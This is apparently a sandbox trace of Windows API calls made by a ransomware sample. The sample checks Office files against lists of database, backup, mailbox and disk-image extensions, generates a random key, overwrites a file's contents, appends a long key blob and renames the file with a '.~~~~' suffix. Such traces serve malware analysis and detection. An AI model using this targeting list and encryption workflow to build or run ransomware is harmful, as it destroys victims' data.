	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".PST") returned 0x0
	[0081.141] lstrlenW (lpString=".dbf") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dbf") returned 0x0
	[0081.141] lstrlenW (lpString=".SQL") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".SQL") returned 0x0
	[0081.141] lstrlenW (lpString=".pst") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".pst") returned 0x0
	[0081.141] lstrlenW (lpString=".dbv") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dbv") returned 0x0
	[0081.141] lstrlenW (lpString=".SDF") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".SDF") returned 0x0
	[0081.141] lstrlenW (lpString=".dtxs") returned 5
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dtxs") returned 0x0
	[0081.141] lstrlenW (lpString=".db3") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".db3") returned 0x0
	[0081.141] lstrlenW (lpString=".OST") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".OST") returned 0x0
	[0081.141] lstrlenW (lpString=".dbx") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dbx") returned 0x0
	[0081.141] lstrlenW (lpString=".DB3") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DB3") returned 0x0
	[0081.141] lstrlenW (lpString=".DAT") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DAT") returned 0x0
	[0081.141] lstrlenW (lpString=".VHDX") returned 5
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".VHDX") returned 0x0
	[0081.142] lstrlenW (lpString=".ndf") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".ndf") returned 0x0
	[0081.142] lstrlenW (lpString=".DB") returned 3
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DB") returned 0x0
	[0081.142] lstrlenW (lpString=".sql") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".sql") returned 0x0
	[0081.142] lstrlenW (lpString=".MYD") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".MYD") returned 0x0
	[0081.142] lstrlenW (lpString=".DBT") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DBT") returned 0x0
	[0081.142] lstrlenW (lpString=".ACCDB") returned 6
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0081.142] lstrlenW (lpString=".fdb") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".fdb") returned 0x0
	[0081.142] lstrlenW (lpString=".bak") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".bak") returned 0x0
	[0081.142] lstrlenW (lpString=".myd") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".myd") returned 0x0
	[0081.142] lstrlenW (lpString=".DTXS") returned 5
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DTXS") returned 0x0
	[0081.142] lstrlenW (lpString=".ckp") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".ckp") returned 0x0
	[0081.142] lstrlenW (lpString=".dbt") returned 4
	[0081.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dbt") returned 0x0
	[0081.143] lstrlenW (lpString=".db") returned 3
	[0081.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".db") returned 0x0
	[0081.143] lstrlenW (lpString=".TXT") returned 4
	[0081.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".TXT") returned 0x0
	[0081.143] lstrlenW (lpString=".MDF") returned 4
	[0081.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".MDF") returned 0x0
	[0081.143] lstrlenW (lpString=".bdb") returned 4
	[0081.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".bdb") returned 0x0
	[0081.143] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.143] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.144] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.144] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.144] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20113458077) returned 1
	[0081.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a38cdb0, dwHighDateTime=0x1d60e1e)) 
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facb8
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facb8 | out: hHeap=0x300000) returned 1
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.145] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.145] GetLastError () returned 0x0
	[0081.146] GetLastError () returned 0x0
	[0081.146] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.146] GetLastError () returned 0x0
	[0081.146] GetLastError () returned 0x0
	[0081.146] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0081.148] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.148] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0081.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.148] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.148] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.149] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.149] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.149] CloseHandle (hObject=0x120) returned 1
	[0081.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3ac250
	[0081.149] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.~~~~")) returned 1
	[0081.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac250 | out: hHeap=0x300000) returned 1
	[0081.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0081.150] GetLastError () returned 0x0
	[0081.150] RtlWakeConditionVariable () returned 0x365f70
	[0081.150] GetCurrentThreadId () returned 0x3a4
	[0081.150] GetCurrentThreadId () returned 0x3a4
	[0081.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800208 | out: hHeap=0x300000) returned 1
	[0081.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac80 | out: hHeap=0x300000) returned 1
	[0081.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800208
	[0081.151] lstrlenW (lpString=".scr") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.151] lstrlenW (lpString=".cmd") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.151] lstrlenW (lpString=".dll") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.151] lstrlenW (lpString=".bat") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.151] lstrlenW (lpString=".cpl") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.151] lstrlenW (lpString=".sys") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.151] lstrlenW (lpString=".msc") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.151] lstrlenW (lpString=".com") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.151] lstrlenW (lpString=".lnk") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.151] lstrlenW (lpString=".msp") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.151] lstrlenW (lpString=".pif") returned 4
	[0081.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.151] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.152] lstrlenW (lpString=".sqb") returned 4
	[0081.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.152] lstrlenW (lpString=".ost") returned 4
	[0081.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.152] lstrlenW (lpString=".txt") returned 4
	[0081.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.153] lstrlenW (lpString=".mdt") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.153] lstrlenW (lpString=".BDB") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.153] lstrlenW (lpString=".eql") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.153] lstrlenW (lpString=".DBF") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.153] lstrlenW (lpString=".EQL") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.153] lstrlenW (lpString=".FDB") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.153] lstrlenW (lpString=".EDB") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.153] lstrlenW (lpString=".DACPAC") returned 7
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.153] lstrlenW (lpString=".VHD") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.153] lstrlenW (lpString=".DBV") returned 4
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.153] lstrlenW (lpString=".dacpac") returned 7
	[0081.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.153] lstrlenW (lpString=".sdf") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.154] lstrlenW (lpString=".accdb") returned 6
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.154] lstrlenW (lpString=".DBX") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.154] lstrlenW (lpString=".MDT") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.154] lstrlenW (lpString=".SQB") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.154] lstrlenW (lpString=".vhd") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.154] lstrlenW (lpString=".bac") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.154] lstrlenW (lpString=".mdf") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.154] lstrlenW (lpString=".BAK") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.154] lstrlenW (lpString=".BAC") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.154] lstrlenW (lpString=".dbs") returned 4
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.154] lstrlenW (lpString=".vhdx") returned 5
	[0081.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.154] lstrlenW (lpString=".NDF") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.155] lstrlenW (lpString=".dat") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.155] lstrlenW (lpString=".DBS") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.155] lstrlenW (lpString=".CKP") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.155] lstrlenW (lpString=".edb") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.155] lstrlenW (lpString=".PST") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.155] lstrlenW (lpString=".dbf") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.155] lstrlenW (lpString=".SQL") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.155] lstrlenW (lpString=".pst") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.155] lstrlenW (lpString=".dbv") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.155] lstrlenW (lpString=".SDF") returned 4
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.155] lstrlenW (lpString=".dtxs") returned 5
	[0081.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.156] lstrlenW (lpString=".db3") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.156] lstrlenW (lpString=".OST") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.156] lstrlenW (lpString=".dbx") returned 4
